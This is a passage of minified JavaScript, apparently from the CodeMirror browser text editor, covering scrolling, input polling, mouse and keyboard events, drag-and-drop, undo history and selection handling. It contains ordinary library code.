i=b.updateScrollPos:b.selectionChanged&&d.scroller.clientHeight&&(i=N(a,c.sel.head),i=wb(a,i.left,i.top,i.left,i.bottom));if(b.changes.length||b.forceUpdate||i&&null!=i.scrollTop)j=ob(a,b.changes,i&&i.scrollTop,b.forceUpdate),a.display.scroller.offsetHeight&&(a.doc.scrollTop=a.display.scroller.scrollTop);!j&&b.selectionChanged&&ac(a);if(b.updateScrollPos)j=Math.max(0,Math.min(d.scroller.scrollHeight-d.scroller.clientHeight,i.scrollTop)),i=Math.max(0,Math.min(d.scroller.scrollWidth-d.scroller.clientWidth, i.scrollLeft)),d.scroller.scrollTop=d.scrollbarV.scrollTop=c.scrollTop=j,d.scroller.scrollLeft=d.scrollbarH.scrollLeft=c.scrollLeft=i,Wb(a),b.scrollToPos&&Zc(a,q(a.doc,b.scrollToPos.from),q(a.doc,b.scrollToPos.to),b.scrollToPos.margin);else if(i&&(c=Zc(a,a.doc.sel.head,null,a.options.cursorScrollMargin),a.state.focused)){d=a.display;j=x(d.sizer);i=null;if(0>c.top+j.top)i=!0;else if(c.bottom+j.top>(window.innerHeight||document.documentElement.clientHeight))i=!1;if(null!=i&&!ge){if(j="none"==d.cursor.style.display)d.cursor.style.display= "",d.cursor.style.left=c.left+"px",d.cursor.style.top=c.top-d.viewOffset+"px";d.cursor.scrollIntoView(i);j&&(d.cursor.style.display="none")}}b.selectionChanged&&qb(a);a.state.focused&&b.updateInput&&X(a,b.userSelChange);c=b.maybeHiddenMarkers;d=b.maybeUnhiddenMarkers;if(c)for(i=0;i<c.length;++i)c[i].lines.length||F(c[i],"hide");if(d)for(i=0;i<d.length;++i)d[i].lines.length&&F(d[i],"unhide");var l;--vb||(l=da,da=null);b.textChanged&&F(a,"change",a,b.textChanged);b.cursorActivity&&F(a,"cursorActivity", a);if(l)for(i=0;i<l.length;++i)l[i]()}function s(a,b){return function(){var c=a||this,d=!c.curOp;d&&xa(c);try{var e=b.apply(c,arguments)}finally{d&&ya(c)}return e}}function Sa(a){return function(){var b=this.cm&&!this.cm.curOp,c;b&&xa(this.cm);try{c=a.apply(this,arguments)}finally{b&&ya(this.cm)}return c}}function mc(a,b){var c=!a.curOp,d;c&&xa(a);try{d=b()}finally{c&&ya(a)}return d}function w(a,b,c,d){null==b&&(b=a.doc.first);null==c&&(c=a.doc.first+a.doc.size);a.curOp.changes.push({from:b,to:c, diff:d})}function xb(a){a.display.pollingFast||a.display.poll.set(a.options.pollInterval,function(){nc(a);a.state.focused&&xb(a)})}function Ta(a){function b(){!nc(a)&&!c?(c=!0,a.display.poll.set(60,b)):(a.display.pollingFast=!1,xb(a))}var c=!1;a.display.pollingFast=!0;a.display.poll.set(20,b)}function nc(a){var b=a.display.input,c=a.display.prevInput,d=a.doc,e=d.sel;if(!a.state.focused||he(b)||Ua(a)||a.state.disableInput)return!1;a.state.pasteIncoming&&a.state.fakedLastChar&&(b.value=b.value.substring(0, b.value.length-1),a.state.fakedLastChar=!1);var f=b.value;if(f==c&&v(e.from,e.to))return!1;if(D&&!L&&a.display.inputHasSelection===f)return X(a,!0),!1;var g=!a.curOp;g&&xa(a);e.shift=!1;for(var h=0,i=Math.min(c.length,f.length);h<i&&c.charCodeAt(h)==f.charCodeAt(h);)++h;i=e.from;e=e.to;h<c.length?i=m(i.line,i.ch-(c.length-h)):a.state.overwrite&&(v(i,e)&&!a.state.pasteIncoming)&&(e=m(e.line,Math.min(p(d,e.line).text.length,e.ch+(f.length-h))));c=a.curOp.updateInput;h={from:i,to:e,text:ia(f.slice(h)), origin:a.state.pasteIncoming?"paste":"+input"};Aa(a.doc,h,"end");a.curOp.updateInput=c;E(a,"inputRead",a,h);1E3<f.length||-1<f.indexOf("\n")?b.value=a.display.prevInput="":a.display.prevInput=f;g&&ya(a);a.state.pasteIncoming=!1;return!0}function X(a,b){var c,d,e=a.doc;v(e.sel.from,e.sel.to)?b&&(a.display.prevInput=a.display.input.value="",D&&!L&&(a.display.inputHasSelection=null)):(a.display.prevInput="",d=(c=$c&&(100<e.sel.to.line-e.sel.from.line||1E3<(d=a.getSelection()).length))?"-":d||a.getSelection(), a.display.input.value=d,a.state.focused&&ad(a.display.input),D&&!L&&(a.display.inputHasSelection=d));a.display.inaccurateSelection=c}function M(a){"nocursor"!=a.options.readOnly&&(!Qb||document.activeElement!=a.display.input)&&a.display.input.focus()}function Ua(a){return a.options.readOnly||a.doc.cantEdit}function Qd(a){function b(){a.state.focused&&setTimeout(O(M,a),0)}function c(){null==h&&(h=setTimeout(function(){h=null;g.cachedCharWidth=g.cachedTextHeight=Va=null;ra(a);mc(a,O(w,a))},100))}function d(){for(var a= g.wrapper.parentNode;a&&a!=document.body;a=a.parentNode);a?setTimeout(d,5E3):aa(window,"resize",c)}function e(b){V(a,b)||a.options.onDragEvent&&a.options.onDragEvent(a,Wa(b))||Xa(b)}function f(){g.inaccurateSelection&&(g.prevInput="",g.inaccurateSelection=!1,g.input.value=a.getSelection(),ad(g.input))}var g=a.display;t(g.scroller,"mousedown",s(a,ie));D?t(g.scroller,"dblclick",s(a,function(b){if(!V(a,b)){var c=Ya(a,b);c&&(!oc(a,b,"gutterClick",!0,E)&&!ja(a.display,b))&&(A(b),b=pc(p(a.doc,c.line).text, c),H(a.doc,b.from,b.to))}})):t(g.scroller,"dblclick",function(b){V(a,b)||A(b)});t(g.lineSpace,"selectstart",function(a){ja(g,a)||A(a)});qc||t(g.scroller,"contextmenu",function(b){bd(a,b)});t(g.scroller,"scroll",function(){g.scroller.clientHeight&&(Za(a,g.scroller.scrollTop),za(a,g.scroller.scrollLeft,!0),F(a,"scroll",a))});t(g.scrollbarV,"scroll",function(){g.scroller.clientHeight&&Za(a,g.scrollbarV.scrollTop)});t(g.scrollbarH,"scroll",function(){g.scroller.clientHeight&&za(a,g.scrollbarH.scrollLeft)}); t(g.scroller,"mousewheel",function(b){cd(a,b)});t(g.scroller,"DOMMouseScroll",function(b){cd(a,b)});t(g.scrollbarH,"mousedown",b);t(g.scrollbarV,"mousedown",b);t(g.wrapper,"scroll",function(){g.wrapper.scrollTop=g.wrapper.scrollLeft=0});var h;t(window,"resize",c);setTimeout(d,5E3);t(g.input,"keyup",s(a,function(b){if(!(V(a,b)||a.options.onKeyEvent&&a.options.onKeyEvent(a,Wa(b)))&&16==b.keyCode)a.doc.sel.shift=!1}));t(g.input,"input",function(){D&&(!L&&a.display.inputHasSelection)&&(a.display.inputHasSelection= null);Ta(a)});t(g.input,"keydown",s(a,dd));t(g.input,"keypress",s(a,je));t(g.input,"focus",O(Fa,a));t(g.input,"blur",O(Sb,a));a.options.dragDrop&&(t(g.scroller,"dragstart",function(b){var c=a;if(D&&(!c.state.draggingText||100>+new Date-ed))Xa(b);else if(!V(c,b)&&!ja(c.display,b)){var d=c.getSelection();b.dataTransfer.setData("Text",d);b.dataTransfer.setDragImage&&!rc&&(d=o("img",null,null,"position: fixed; left: 0; top: 0;"),d.src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==", Q&&(d.width=d.height=1,c.display.wrapper.appendChild(d),d._top=d.offsetTop),b.dataTransfer.setDragImage(d,0,0),Q&&d.parentNode.removeChild(d))}}),t(g.scroller,"dragenter",e),t(g.scroller,"dragover",e),t(g.scroller,"drop",s(a,ke)));t(g.scroller,"paste",function(b){if(!ja(g,b)){M(a);Ta(a)}});t(g.input,"paste",function(){if(G&&!a.state.fakedLastChar&&!(new Date-a.state.lastMiddleDown<200)){var b=g.input.selectionStart,c=g.input.selectionEnd;g.input.value=g.input.value+"$";g.input.selectionStart=b;g.input.selectionEnd= c;a.state.fakedLastChar=true}a.state.pasteIncoming=true;Ta(a)});t(g.input,"cut",f);t(g.input,"copy",f);Ub&&t(g.sizer,"mouseup",function(){document.activeElement==g.input&&g.input.blur();M(a)})}function ja(a,b){for(var c=b.target||b.srcElement;c!=a.wrapper;c=c.parentNode)if(!c||c.ignoreEvents||c.parentNode==a.sizer&&c!=a.mover)return!0}function Ya(a,b,c){var d=a.display;if(!c&&(c=b.target||b.srcElement,c==d.scrollbarH||c==d.scrollbarH.firstChild||c==d.scrollbarV||c==d.scrollbarV.firstChild||c==d.scrollbarFiller|| c==d.gutterFiller))return null;var e,f,d=x(d.lineSpace);try{e=b.clientX,f=b.clientY}catch(g){return null}return jc(a,e-d.left,f-d.top)}function ie(a){function b(a){if(!v(r,a))if(r=a,"single"==l)H(e.doc,q(g,i),a);else if(k=q(g,k),o=q(g,o),"double"==l){var b=pc(p(g,a.line).text,a);y(a,k)?H(e.doc,b.from,o):H(e.doc,k,b.to)}else"triple"==l&&(y(a,k)?H(e.doc,o,q(g,m(a.line,0))):H(e.doc,k,q(g,m(a.line+1,0))))}function c(a){var d=++z,h=Ya(e,a,!0);if(h)if(v(h,B)){var i=a.clientY<w.top?-20:a.clientY>w.bottom? 20:0;i&&setTimeout(s(e,function(){z==d&&(f.scroller.scrollTop+=i,c(a))}),50)}else{e.state.focused||Fa(e);B=h;b(h);var j=Zb(f,g);(h.line>=j.to||h.line<j.from)&&setTimeout(s(e,function(){z==d&&c(a)}),150)}}function d(a){z=Infinity;A(a);M(e);aa(document,"mousemove",Tc);aa(document,"mouseup",F)}if(!V(this,a)){var e=this,f=e.display,g=e.doc,h=g.sel;h.shift=a.shiftKey;if(ja(f,a))G||(f.scroller.draggable=!1,setTimeout(function(){f.scroller.draggable=!0},100));else if(!oc(e,a,"gutterClick",!0,E)){var i=Ya(e, a);switch(fd(a)){case 3:qc&&bd.call(e,e,a);return;case 2:G&&(e.state.lastMiddleDown=+new Date);i&&H(e.doc,i);setTimeout(O(M,e),20);A(a);return}if(i){e.state.focused||Fa(e);var j=+new Date,l="single";yb&&yb.time>j-400&&v(yb.pos,i)?(l="triple",A(a),setTimeout(O(M,e),20),le(e,i.line)):zb&&zb.time>j-400&&v(zb.pos,i)?(l="double",yb={time:j,pos:i},A(a),j=pc(p(g,i.line).text,i),H(e.doc,j.from,j.to)):zb={time:j,pos:i};var B=i;if(e.options.dragDrop&&me&&!Ua(e)&&!v(h.from,h.to)&&!y(i,h.from)&&!y(h.to,i)&&"single"== l){var n=s(e,function(b){if(G)f.scroller.draggable=false;e.state.draggingText=false;aa(document,"mouseup",n);aa(f.scroller,"drop",n);if(Math.abs(a.clientX-b.clientX)+Math.abs(a.clientY-b.clientY)<10){A(b);H(e.doc,i);M(e)}});G&&(f.scroller.draggable=!0);e.state.draggingText=n;f.scroller.dragDrop&&f.scroller.dragDrop();t(document,"mouseup",n);t(f.scroller,"drop",n)}else{A(a);"single"==l&&H(e.doc,q(g,i));var k=h.from,o=h.to,r=i,w=x(f.wrapper),z=0,Tc=s(e,function(a){!D&&!fd(a)?d(a):c(a)}),F=s(e,d);t(document, "mousemove",Tc);t(document,"mouseup",F)}}else(a.target||a.srcElement)==f.scroller&&A(a)}}}function oc(a,b,c,d,e){try{var f=b.clientX,g=b.clientY}catch(h){return!1}if(f>=Math.floor(x(a.display.gutters).right))return!1;d&&A(b);var d=a.display,i=x(d.lineDiv);if(g>i.bottom||!W(a,c))return sc(b);g-=i.top-d.viewOffset;for(i=0;i<a.options.gutters.length;++i){var j=d.gutters.childNodes[i];if(j&&x(j).right>=f)return f=Ma(a.doc,g),e(a,c,a,f,a.options.gutters[i],b),sc(b)}}function ke(a){var b=this;if(!V(b,a)&& !(ja(b.display,a)||b.options.onDragEvent&&b.options.onDragEvent(b,Wa(a)))){A(a);D&&(ed=+new Date);var c=Ya(b,a,!0),d=a.dataTransfer.files;if(c&&!Ua(b))if(d&&d.length&&window.FileReader&&window.File)for(var e=d.length,f=Array(e),g=0,a=function(a,d){var h=new FileReader;h.onload=function(){f[d]=h.result;++g==e&&(c=q(b.doc,c),Aa(b.doc,{from:c,to:c,text:ia(f.join("\n")),origin:"paste"},"around"))};h.readAsText(a)},h=0;h<e;++h)a(d[h],h);else if(b.state.draggingText&&!y(c,b.doc.sel.from)&&!y(b.doc.sel.to, c))b.state.draggingText(a),setTimeout(O(M,b),20);else try{if(f=a.dataTransfer.getData("Text")){var h=b.doc.sel.from,i=b.doc.sel.to;ba(b.doc,c,c);b.state.draggingText&&ea(b.doc,"",h,i,"paste");b.replaceSelection(f,null,"paste");M(b)}}catch(j){}}}function Za(a,b){2>Math.abs(a.doc.scrollTop-b)||(a.doc.scrollTop=b,Ba||ob(a,[],b),a.display.scroller.scrollTop!=b&&(a.display.scroller.scrollTop=b),a.display.scrollbarV.scrollTop!=b&&(a.display.scrollbarV.scrollTop=b),Ba&&ob(a,[]),Ia(a,100))}function za(a, b,c){if(!(c?b==a.doc.scrollLeft:2>Math.abs(a.doc.scrollLeft-b)))if(b=Math.min(b,a.display.scroller.scrollWidth-a.display.scroller.clientWidth),a.doc.scrollLeft=b,Wb(a),a.display.scroller.scrollLeft!=b&&(a.display.scroller.scrollLeft=b),a.display.scrollbarH.scrollLeft!=b)a.display.scrollbarH.scrollLeft=b}function cd(a,b){var c=b.wheelDeltaX,d=b.wheelDeltaY;null==c&&(b.detail&&b.axis==b.HORIZONTAL_AXIS)&&(c=b.detail);null==d&&b.detail&&b.axis==b.VERTICAL_AXIS?d=b.detail:null==d&&(d=b.wheelDelta);var e= a.display,f=e.scroller;if(c&&f.scrollWidth>f.clientWidth||d&&f.scrollHeight>f.clientHeight){if(d&&ta&&G)for(var g=b.target;g!=f;g=g.parentNode)if(g.lineObj){a.display.currentWheelTarget=g;break}if(c&&!Ba&&!Q&&null!=R)d&&Za(a,Math.max(0,Math.min(f.scrollTop+d*R,f.scrollHeight-f.clientHeight))),za(a,Math.max(0,Math.min(f.scrollLeft+c*R,f.scrollWidth-f.clientWidth))),A(b),e.wheelStartX=null;else{if(d&&null!=R){var g=d*R,h=a.doc.scrollTop,i=h+e.wrapper.clientHeight;0>g?h=Math.max(0,h+g-50):i=Math.min(a.doc.height, i+g+50);ob(a,[],{top:h,bottom:i})}20>Ab&&(null==e.wheelStartX?(e.wheelStartX=f.scrollLeft,e.wheelStartY=f.scrollTop,e.wheelDX=c,e.wheelDY=d,setTimeout(function(){if(e.wheelStartX!=null){var a=f.scrollLeft-e.wheelStartX,b=f.scrollTop-e.wheelStartY,a=b&&e.wheelDY&&b/e.wheelDY||a&&e.wheelDX&&a/e.wheelDX;e.wheelStartX=e.wheelStartY=null;if(a){R=(R*Ab+a)/(Ab+1);++Ab}}},200)):(e.wheelDX+=c,e.wheelDY+=d))}}}function Bb(a,b,c){if("string"==typeof b&&(b=tc[b],!b))return!1;a.display.pollingFast&&nc(a)&&(a.display.pollingFast= !1);var d=a.doc,e=d.sel.shift,f=!1;try{Ua(a)&&(a.state.suppressEdits=!0),c&&(d.sel.shift=!1),f=b(a)!=gd}finally{d.sel.shift=e,a.state.suppressEdits=!1}return f}function hd(a){var b=a.state.keyMaps.slice(0);a.options.extraKeys&&b.push(a.options.extraKeys);b.push(a.options.keyMap);return b}function id(a,b){var c=uc(a.options.keyMap),d=c.auto;clearTimeout(jd);d&&!kd(b)&&(jd=setTimeout(function(){uc(a.options.keyMap)==c&&(a.options.keyMap=d.call?d.call(null,a):d,Qc(a))},50));var e=ld(b,!0),f=!1;if(!e)return!1; f=hd(a);if(f=b.shiftKey?$a("Shift-"+e,f,function(b){return Bb(a,b,!0)})||$a(e,f,function(b){if("string"==typeof b?/^go[A-Z]/.test(b):b.motion)return Bb(a,b)}):$a(e,f,function(b){return Bb(a,b)}))A(b),qb(a),L&&(b.oldKeyCode=b.keyCode,b.keyCode=0),E(a,"keyHandled",a,e,b);return f}function ne(a,b,c){var d=$a("'"+c+"'",hd(a),function(b){return Bb(a,b,!0)});d&&(A(b),qb(a),E(a,"keyHandled",a,"'"+c+"'",b));return d}function dd(a){this.state.focused||Fa(this);if(!(V(this,a)||this.options.onKeyEvent&&this.options.onKeyEvent(this, Wa(a)))){D&&27==a.keyCode&&(a.returnValue=!1);var b=a.keyCode;this.doc.sel.shift=16==b||a.shiftKey;var c=id(this,a);Q&&(vc=c?b:null,!c&&(88==b&&!$c&&(ta?a.metaKey:a.ctrlKey))&&this.replaceSelection(""))}}function je(a){var b=this;if(!(V(b,a)||b.options.onKeyEvent&&b.options.onKeyEvent(b,Wa(a)))){var c=a.keyCode,d=a.charCode;if(Q&&c==vc)vc=null,A(a);else if(!(Q&&(!a.which||10>a.which)||Ub)||!id(b,a))c=String.fromCharCode(null==d?c:d),this.options.electricChars&&(this.doc.mode.electricChars&&this.options.smartIndent&& !Ua(this)&&-1<this.doc.mode.electricChars.indexOf(c))&&setTimeout(s(b,function(){Cb(b,b.doc.sel.to.line,"smart")}),75),ne(b,a,c)||(D&&!L&&(b.display.inputHasSelection=null),Ta(b))}}function Fa(a){if("nocursor"!=a.options.readOnly){if(!a.state.focused&&(F(a,"focus",a),a.state.focused=!0,-1==a.display.wrapper.className.search(/\bCodeMirror-focused\b/)&&(a.display.wrapper.className+=" CodeMirror-focused"),!a.curOp))X(a,!0),G&&setTimeout(O(X,a,!0),0);xb(a);qb(a)}}function Sb(a){a.state.focused&&(F(a, "blur",a),a.state.focused=!1,a.display.wrapper.className=a.display.wrapper.className.replace(" CodeMirror-focused",""));clearInterval(a.display.blinker);setTimeout(function(){if(!a.state.focused)a.doc.sel.shift=false},150)}function bd(a,b){function c(){if(null!=e.input.selectionStart){var a=e.input.value=""+(v(f.from,f.to)?"":e.input.value);e.prevInput="";e.input.selectionStart=1;e.input.selectionEnd=a.length}}function d(){e.inputDiv.style.position="relative";e.input.style.cssText=i;L&&(e.scrollbarV.scrollTop= e.scroller.scrollTop=h);xb(a);if(null!=e.input.selectionStart){(!D||L)&&c();clearTimeout(wc);var b=0,d=function(){e.prevInput==" "&&e.input.selectionStart==0?s(a,tc.selectAll)(a):b++<10?wc=setTimeout(d,500):X(a)};wc=setTimeout(d,200)}}if(!V(a,b,"contextmenu")){var e=a.display,f=a.doc.sel;if(!ja(e,b)&&!(!W(a,"gutterContextMenu")?0:oc(a,b,"gutterContextMenu",!1,F))){var g=Ya(a,b),h=e.scroller.scrollTop;if(g&&!Q){a.options.resetSelectionOnContextMenu&&(v(f.from,f.to)||y(g,f.from)||!y(g,f.to))&&s(a,ba)(a.doc, g,g);var i=e.input.style.cssText;e.inputDiv.style.position="absolute";e.input.style.cssText="position: fixed; width: 30px; height: 30px; top: "+(b.clientY-5)+"px; left: "+(b.clientX-5)+"px; z-index: 1000; background: white; outline: none;border-width: 0; outline: none; overflow: hidden; opacity: .05; -ms-opacity: .05; filter: alpha(opacity=5);";M(a);X(a,!0);v(f.from,f.to)&&(e.input.value=e.prevInput=" ");D&&!L&&c();if(qc){Xa(b);var j=function(){aa(window,"mouseup",j);setTimeout(d,20)};t(window,"mouseup", j)}else setTimeout(d,50)}}}}function md(a,b,c){if(!y(b.from,c))return q(a,c);var d=b.text.length-1-(b.to.line-b.from.line);if(c.line>b.to.line+d)return b=c.line-d,d=a.first+a.size-1,b>d?m(d,p(a,d).text.length):Db(c,p(a,b).text.length);if(c.line==b.to.line+d)return Db(c,J(b.text).length+(1==b.text.length?b.from.ch:0)+p(a,b.to.line).text.length-b.to.ch);a=c.line-b.from.line;return Db(c,b.text[a].length+(a?0:b.from.ch))}function xc(a,b,c){if(c&&"object"==typeof c)return{anchor:md(a,b,c.anchor),head:md(a, b,c.head)};if("start"==c)return{anchor:b.from,head:b.from};var d=yc(b);if("around"==c)return{anchor:b.from,head:d};if("end"==c)return{anchor:d,head:d};c=function(a){if(y(a,b.from))return a;if(!y(b.to,a))return d;var c=a.line+b.text.length-(b.to.line-b.from.line)-1,g=a.ch;a.line==b.to.line&&(g+=d.ch-b.to.ch);return m(c,g)};return{anchor:c(a.sel.anchor),head:c(a.sel.head)}}function nd(a,b,c){b={canceled:!1,from:b.from,to:b.to,text:b.text,origin:b.origin,cancel:function(){this.canceled=!0}};c&&(b.update= function(b,c,f,g){b&&(this.from=q(a,b));c&&(this.to=q(a,c));f&&(this.text=f);void 0!==g&&(this.origin=g)});F(a,"beforeChange",a,b);a.cm&&F(a.cm,"beforeChange",a.cm,b);return b.canceled?null:{from:b.from,to:b.to,text:b.text,origin:b.origin}}function Aa(a,b,c,d){if(a.cm){if(!a.cm.curOp)return s(a.cm,Aa)(a,b,c,d);if(a.cm.state.suppressEdits)return}if(W(a,"beforeChange")||a.cm&&W(a.cm,"beforeChange"))if(b=nd(a,b,!0),!b)return;if(d=od&&!d&&oe(a,b.from,b.to)){for(var e=d.length-1;1<=e;--e)zc(a,{from:d[e].from, to:d[e].to,text:[""]});d.length&&zc(a,{from:d[0].from,to:d[0].to,text:b.text},c)}else zc(a,b,c)}function zc(a,b,c){if(!(1==b.text.length&&""==b.text[0]&&v(b.from,b.to))){c=xc(a,b,c);pd(a,b,c,a.cm?a.cm.curOp.id:NaN);ab(a,b,c,Ac(a,b));var d=[];Ca(a,function(a,c){!c&&-1==S(d,a.history)&&(qd(a.history,b),d.push(a.history));ab(a,b,null,Ac(a,b))})}}function rd(a,b){if(!a.cm||!a.cm.state.suppressEdits){var c=a.history,d=("undo"==b?c.done:c.undone).pop();if(d){var e={changes:[],anchorBefore:d.anchorAfter, headBefore:d.headAfter,anchorAfter:d.anchorBefore,headAfter:d.headBefore,generation:c.generation};("undo"==b?c.undone:c.done).push(e);c.generation=d.generation||++c.maxGeneration;for(var f=W(a,"beforeChange")||a.cm&&W(a.cm,"beforeChange"),g=d.changes.length-1;0<=g;--g){var h=d.changes[g];h.origin=b;if(f&&!nd(a,h,!1)){("undo"==b?c.done:c.undone).length=0;break}e.changes.push(Bc(a,h));var i=g?xc(a,h,null):{anchor:d.anchorBefore,head:d.headBefore};ab(a,h,i,sd(a,h));var j=[];Ca(a,function(a,b){!b&&-1== S(j,a.history)&&(qd(a.history,h),j.push(a.history));ab(a,h,null,sd(a,h))})}}}}function td(a,b){function c(a){return m(a.line+b,a.ch)}a.first+=b;a.cm&&w(a.cm,a.first,a.first,b);a.sel.head=c(a.sel.head);a.sel.anchor=c(a.sel.anchor);a.sel.from=c(a.sel.from);a.sel.to=c(a.sel.to)}function ab(a,b,c,d){if(a.cm&&!a.cm.curOp)return s(a.cm,ab)(a,b,c,d);if(b.to.line<a.first)td(a,b.text.length-1-(b.to.line-b.from.line));else if(!(b.from.line>a.lastLine())){if(b.from.line<a.first){var e=b.text.length-1-(a.first- b.from.line);td(a,e);b={from:m(a.first,0),to:m(b.to.line+e,b.to.ch),text:[J(b.text)],origin:b.origin}}e=a.lastLine();b.to.line>e&&(b={from:b.from,to:m(e,p(a,e).text.length),text:[b.text[0]],origin:b.origin});b.removed=Cc(a,b.from,b.to);c||(c=xc(a,b,null));a.cm?pe(a.cm,b,d,c):Dc(a,b,d,c)}}function pe(a,b,c,d){var e=a.doc,f=a.display,g=b.from,h=b.to,i=!1,j=g.line;a.options.lineWrapping||(j=K(Z(e,p(e,g.line))),e.iter(j,h.line+1,function(a){if(a==f.maxLine)return i=!0}));!y(e.sel.head,b.from)&&!y(b.to, e.sel.head)&&(a.curOp.cursorActivity=!0);Dc(e,b,c,d,Oc(a));a.options.lineWrapping||(e.iter(j,g.line+b.text.length,function(a){var b=mb(e,a);if(b>f.maxLineLength){f.maxLine=a;f.maxLineLength=b;f.maxLineChanged=true;i=false}}),i&&(a.curOp.updateMaxLine=!0));e.frontier=Math.min(e.frontier,g.line);Ia(a,400);w(a,g.line,h.line+1,b.text.length-(h.line-g.line)-1);if(W(a,"change"))if(b={from:g,to:h,text:b.text,removed:b.removed,origin:b.origin},a.curOp.textChanged){for(a=a.curOp.textChanged;a.next;a=a.next); a.next=b}else a.curOp.textChanged=b}function ea(a,b,c,d,e){d||(d=c);if(y(d,c))var f=d,d=c,c=f;"string"==typeof b&&(b=ia(b));Aa(a,{from:c,to:d,text:b,origin:e},null)}function m(a,b){if(!(this instanceof m))return new m(a,b);this.line=a;this.ch=b}function v(a,b){return a.line==b.line&&a.ch==b.ch}function y(a,b){return a.line<b.line||a.line==b.line&&a.ch<b.ch}function ka(a){return m(a.line,a.ch)}function q(a,b){if(b.line<a.first)return m(a.first,0);var c=a.first+a.size-1;return b.line>c?m(c,p(a,c).text.length): Db(b,p(a,b.line).text.length)}function Db(a,b){var c=a.ch;return null==c||c>b?m(a.line,b):0>c?m(a.line,0):a}function Da(a,b){return b>=a.first&&b<a.first+a.size}function H(a,b,c,d){if(a.sel.shift||a.sel.extend){var e=a.sel.anchor;if(c){var f=y(b,e);f!=y(c,e)?(e=b,b=c):f!=y(b,c)&&(b=c)}ba(a,e,b,d)}else ba(a,b,c||b,d);a.cm&&(a.cm.curOp.userSelChange=!0)}function ba(a,b,c,d,e){if(!e&&W(a,"beforeSelectionChange")||a.cm&&W(a.cm,"beforeSelectionChange"))b={anchor:b,head:c},F(a,"beforeSelectionChange",a, b),a.cm&&F(a.cm,"beforeSelectionChange",a.cm,b),b.anchor=q(a,b.anchor),b.head=q(a,b.head),c=b.head,b=b.anchor;var f=a.sel;f.goalColumn=null;null==d&&(d=y(c,f.head)?-1:1);if(e||!v(b,f.anchor))b=Eb(a,b,d,"push"!=e);if(e||!v(c,f.head))c=Eb(a,c,d,"push"!=e);if(!v(f.anchor,b)||!v(f.head,c))f.anchor=b,f.head=c,d=y(c,b),f.from=d?c:b,f.to=d?b:c,a.cm&&(a.cm.curOp.updateInput=a.cm.curOp.selectionChanged=a.cm.curOp.cursorActivity=!0),E(a,"cursorActivity",a)}function ud(a){ba(a.doc,a.doc.sel.from,a.doc.sel.to, null,"push")}function Eb(a,b,c,d){var e=!1,f=b,g=c||1;a.cantEdit=!1;a:for(;;){var h=p(a,f.line);if(h.markedSpans)for(var i=0;i<h.markedSpans.length;++i){var j=h.markedSpans[i],l=j.marker;if((null==j.from||(l.inclusiveLeft?j.from<=f.ch:j.from<f.ch))&&(null==j.to||(l.inclusiveRight?j.to>=f.ch:j.to>f.ch))){if(d&&(F(l,"beforeCursorEnter"),l.explicitlyCleared))if(h.markedSpans){--i;continue}else break;if(l.atomic){i=l.find()[0>g?"from":"to"];if(v(i,f)&&(i.ch+=g,0>i.ch?i=i.line>a.first?q(a,m(i.line-1)): null:i.ch>h.text.length&&(i=i.line<a.first+a.size-1?m(i.line+1,0):null),!i)){if(e){if(!d)return Eb(a,b,c,!0);a.cantEdit=!0;return m(a.first,0)}e=!0;i=b;g=-g}f=i;continue a}}}return f}}function Zc(a,b,c,d){for(null==d&&(d=0);;){var e=!1,f=N(a,b),g=!c||c==b?f:N(a,c),g=wb(a,Math.min(f.left,g.left),Math.min(f.top,g.top)-d,Math.max(f.left,g.left),Math.max(f.bottom,g.bottom)+d),h=a.doc.scrollTop,i=a.doc.scrollLeft;null!=g.scrollTop&&(Za(a,g.scrollTop),1<Math.abs(a.doc.scrollTop-h)&&(e=!0));null!=g.scrollLeft&& (za(a,g.scrollLeft),1<Math.abs(a.doc.scrollLeft-i)&&(e=!0));if(!e)return f}}function wb(a,b,c,d,e){var f=a.display,g=qa(a.display);0>c&&(c=0);var h=f.scroller.clientHeight-oa,i=f.scroller.scrollTop,j={},a=a.doc.height+(f.mover.offsetHeight-f.lineSpace.offsetHeight),l=c<g,g=e>a-g;c<i?j.scrollTop=l?0:c:e>i+h&&(c=Math.min(c,(g?a:e)-h),c!=i&&(j.scrollTop=c));i=f.scroller.clientWidth-oa;c=f.scroller.scrollLeft;b+=f.gutters.offsetWidth;d+=f.gutters.offsetWidth;f=f.gutters.offsetWidth;e=b<f+10;b<c+f||e? (e&&(b=0),j.scrollLeft=Math.max(0,b-10-f)):d>i+c-3&&(j.scrollLeft=d+10-i);return j}function Fb(a,b,c){a.curOp.updateScrollPos={scrollLeft:null==b?a.doc.scrollLeft:b,scrollTop:null==c?a.doc.scrollTop:c}}function Ec(a,b,c){var d=a.curOp.updateScrollPos||(a.curOp.updateScrollPos={scrollLeft:a.doc.scrollLeft,scrollTop:a.doc.scrollTop}),a=a.display.scroller;d.scrollTop=Math.max(0,Math.min(a.scrollHeight-a.clientHeight,d.scrollTop+c));d.scrollLeft=Math.max(0,Math.min(a.scrollWidth-a.clientWidth,d.scrollLeft+ b))}function Cb(a,b,c,d){var e=a.doc;null==c&&(c="add");if("smart"==c)if(a.doc.mode.indent)var f=Pa(a,b);else c="prev";var g=a.options.tabSize,h=p(e,b),i=va(h.text,null,g),j=h.text.match(/^\s*/)[0],l;if("smart"==c&&(l=a.doc.mode.indent(f,h.text.slice(j.length),h.text),l==gd)){if(!d)return;c="prev"}"prev"==c?l=b>e.first?va(p(e,b-1).text,null,g):0:"add"==c?l=i+a.options.indentUnit:"subtract"==c?l=i-a.options.indentUnit:"number"==typeof c&&(l=i+c);l=Math.max(0,l);c="";d=0;if(a.options.indentWithTabs)for(f= Math.floor(l/g);f;--f)d+=g,c+="\t";d<l&&(c+=vd(l-d));c!=j?ea(a.doc,c,m(b,0),m(b,j.length),"+input"):e.sel.head.line==b&&e.sel.head.ch<j.length&&ba(e,m(b,j.length),m(b,j.length),1);h.stateAfter=null}function Gb(a,b,c){var d=b,e=b,f=a.doc;"number"==typeof b?e=p(f,Math.max(f.first,Math.min(b,f.first+f.size-1))):d=K(b);if(null!=d&&c(e,d))w(a,d,d+1);else return null;return e}function Fc(a,b,c,d,e){function f(b){var d=(e?kc:wd)(i,h,c,!0);if(null==d){if(b=!b)b=g+c,b<a.first||b>=a.first+a.size?b=j=!1:(g= b,b=i=p(a,b));if(b)h=e?(0>c?ub:tb)(i):0>c?i.text.length:0;else return j=!1}else h=d;return!0}var g=b.line,h=b.ch,b=c,i=p(a,g),j=!0;if("char"==d)f();else if("column"==d)f(!0);else if("word"==d||"group"==d)for(var l=null,d="group"==d,B=!0;!(0>c)||f(!B);B=!1){var 